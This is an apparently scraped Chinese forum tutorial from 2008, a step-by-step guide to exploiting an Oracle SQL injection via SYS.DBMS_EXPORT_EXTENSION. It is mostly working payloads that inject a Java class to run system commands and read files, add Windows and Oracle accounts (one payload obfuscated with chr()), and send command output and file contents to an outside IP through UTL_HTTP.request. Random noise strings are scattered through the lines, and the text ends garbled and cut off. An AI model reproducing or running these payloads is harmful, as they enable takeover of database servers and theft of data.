以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 + e6 @! Y5 I% O# ^/ n, G
" j6 A7 ?* d4 [1 G& k+ v /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) ' n& T; ^ U! |9 N0 z9 g7 ?* V
的形式即可。(用" 'a'|| "是为了让语句返回true值) & G$ Z$ [8 J( P
语句有点长,可能要用post提交。
1 C2 ]% Y) n+ s1 g. c: u* h: N以下是各个步骤:
/ m2 M1 v( U' p* X& K1.创建包 " T* j) s% I% L- g( t
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
" K' L! C1 d" s1 P/xxx.jsp?id=1 and '1'<>'a'||(
; r1 }) G: w6 K( d% E7 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' N) r7 d' y- @0 F
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
6 M4 @2 }: g+ a/ Onew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
# P, k# l+ o' P}'''';END;'';END;--','SYS',0,'1',0) from dual - y2 L6 K4 k1 U
)
: N+ p# w8 ]1 p8 F4 ]------------------------ - |1 C: Q$ s) i) N
如果url有长度限制,可以把readFile()函数块去掉,即: 6 m7 s# j9 f& h
/xxx.jsp?id=1 and '1'<>'a'||(
% Z6 O# a4 O0 `9 D) m5 A1 dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) R3 c x- i* B/ dcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
8 i u5 M3 n1 bnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
8 {: q; @* C# \}'''';END;'';END;--','SYS',0,'1',0) from dual
% i# N" r4 c8 S* }& x) x)
0 W1 ~/ W9 x2 S* _- }! L同时把后面步骤 提到的 对readFile()的处理语句去掉。 + l: T( l+ i! p. t6 S
------------------------------
+ H% e8 m3 h2 Z0 m; P2.赋Java权限
# q" G6 d- G: [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual4 v" K# t: P" {: y8 ]& E
3.创建函数 * E% u- H. F& \/ h" j1 U4 u) I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" ?9 r0 {9 H# D+ J& M" i3 Qcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual/ B8 M. ~2 d; i0 P) m
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 g5 W# ^, O4 L; c { o
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
' k' ?4 b' v( ^1 u5 e4.赋public执行函数的权限 1 v8 D7 d L. t. b( t3 C
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
/ e( R- _6 ]* gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
: S; U6 r, S8 \5 Q) a1 K( O4 h, F5.测试上面的几步是否成功
! H8 Z9 O9 i0 z e" G0 Eand '1'<>'11'||(
1 N! [4 m8 Y; i; L5 lselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
3 |3 w, N( |7 i: P! w: B)
E" i' K1 C1 `and '1'<>(
# Q+ y) W( ]& F+ _, W& a: qselect OBJECT_ID from all_objects where object_name ='LINXREADFILE' 9 k# A( I) |; X. m7 a
) / P* r" u8 s# t
6.执行命令:
& E. N" S; J, U/xxx.jsp?id=1 and '1'<>(
- Q: W0 U) {1 m# C2 q' s7 ]select sys.LinxRunCMD('cmd /c net user linx /add') from dual & O6 Z+ R" _; r0 ^/ y
6 m1 U2 a8 B9 b& L! M( _& s
) / Y1 C+ e' v! G
/xxx.jsp?id=1 and '1'<>(
/ R0 z! @4 |' M! S0 rselect sys.LinxReadFile('c:/boot.ini') from dual# @+ b) l" u ?! o, D1 Y6 a C3 N, O
' I+ j& g* Z6 W2 H+ G, J
)! D) p( ]3 Y! X' g$ w3 j
% c: o6 B. l2 Q1 R注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 7 n* S. m7 e1 Z3 y5 T
如果要查看运行结果可以用 union : ; Y3 e! Z0 h% }( G, e5 O/ y6 o
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual1 M# c7 G0 F5 u1 d7 ~( u
或者UTL_HTTP.request(:
; a W: c% }# M$ u/xxx.jsp?id=1 and '1'<>( , J+ r; N5 {; E4 s- Z7 ?
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual7 l% a5 `- F2 }( q) e7 y3 u7 D
)
% ?& _* X, z4 I4 i# g/ G# V7 L0 O/xxx.jsp?id=1 and '1'<>(
5 H- H8 G$ Z/ l3 ?8 wSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual( I& B* Z; S1 E, [3 y
)
& d2 B$ }' g+ }0 v! v, @注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。- ~/ x0 _) l3 ~4 P+ y8 [. X2 S5 h
-------------------- * ?7 y! N% q, _$ Y! b
6.内部变化 # r; }! J8 ^9 _) W
通过以下命令可以查看all_objects表达改变: ' h1 T) e1 X( `2 _4 T2 E' |4 W
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
& m/ X$ `. z* P c; @7 w7.删除我们创建的函数 6 P8 U' m- D# Q* |6 m
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! {+ v' I+ x9 I% l1 j
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
* t0 q9 D- o/ ? y1 B9 X4 v, S====================================================
- T1 L6 K- ]$ [% K' D3 @! h全文结束。谨以此文赠与我的朋友。
7 g" J1 y/ i; v+ I) A2 c7 `linx
s: l2 K3 I2 G' t$ H4 b: O- y124829445
( h' |* s# D7 M; V% ~2008.1.12
/ B- l8 a1 C, Tlinyujian@bjfu.edu.cn % P' j4 w5 `4 U# c( j' H# ~: o' J3 P
====================================================================== $ }& U8 }( B! J6 e
测试漏洞的另一方法:
3 v2 W8 l% ?. a, u$ b创建oracle帐号: % A6 Q+ y% B+ I0 Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- S3 V( K4 c2 ~! I" `CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual- b/ n5 w2 ^% O
即:
. E5 t" b9 c: v. V4 [) I7 w1 Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),# a# S! d2 {: E5 h
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
9 Y, ?4 L. ^; y; F4 Y" O确定漏洞存在:
8 H/ b; } y6 B6 `7 p5 p1<>( % a8 w# L7 t% O$ }$ t0 k
select user_id from all_users where username='LINXSQL'
. S. q3 I( X! m$ _+ ?$ R) 4 @0 y* f& a* G3 B* P
给linxsql连接权限:
! T- n; q0 W3 E& D) S& R% s0 B- Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" {. p; A5 E4 \0 w& n
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
* ^6 n6 l; k* h& c% g# m+ z3 t删除帐号:
$ c) c+ h" J2 V. z% \0 F, d" h1 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ o: \, |( ~3 {0 L5 S+ idrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
% ^3 a0 ~" y3 A: Y. p====================== ! P( }; f6 Y9 W% ]# x
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
4 Y2 _5 k5 v5 ~, j t2 _' t5 L1.jsp?id=1 and '1'<>(
2 C7 T( n# P$ o2 B& I6 ]. L- b. ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; n7 J* K2 |- I% m
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
) X# o1 U e' c& j" [8 o) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
% j# a+ L9 J2 `" C2 h )& K$ Y; |% q. J6 s
[" t! [7 p, w9 ]$ y
! S- n+ B" s( K! B& A* |
9 l% a+ [* S( E# U1 }8 j5 @: R1 K k |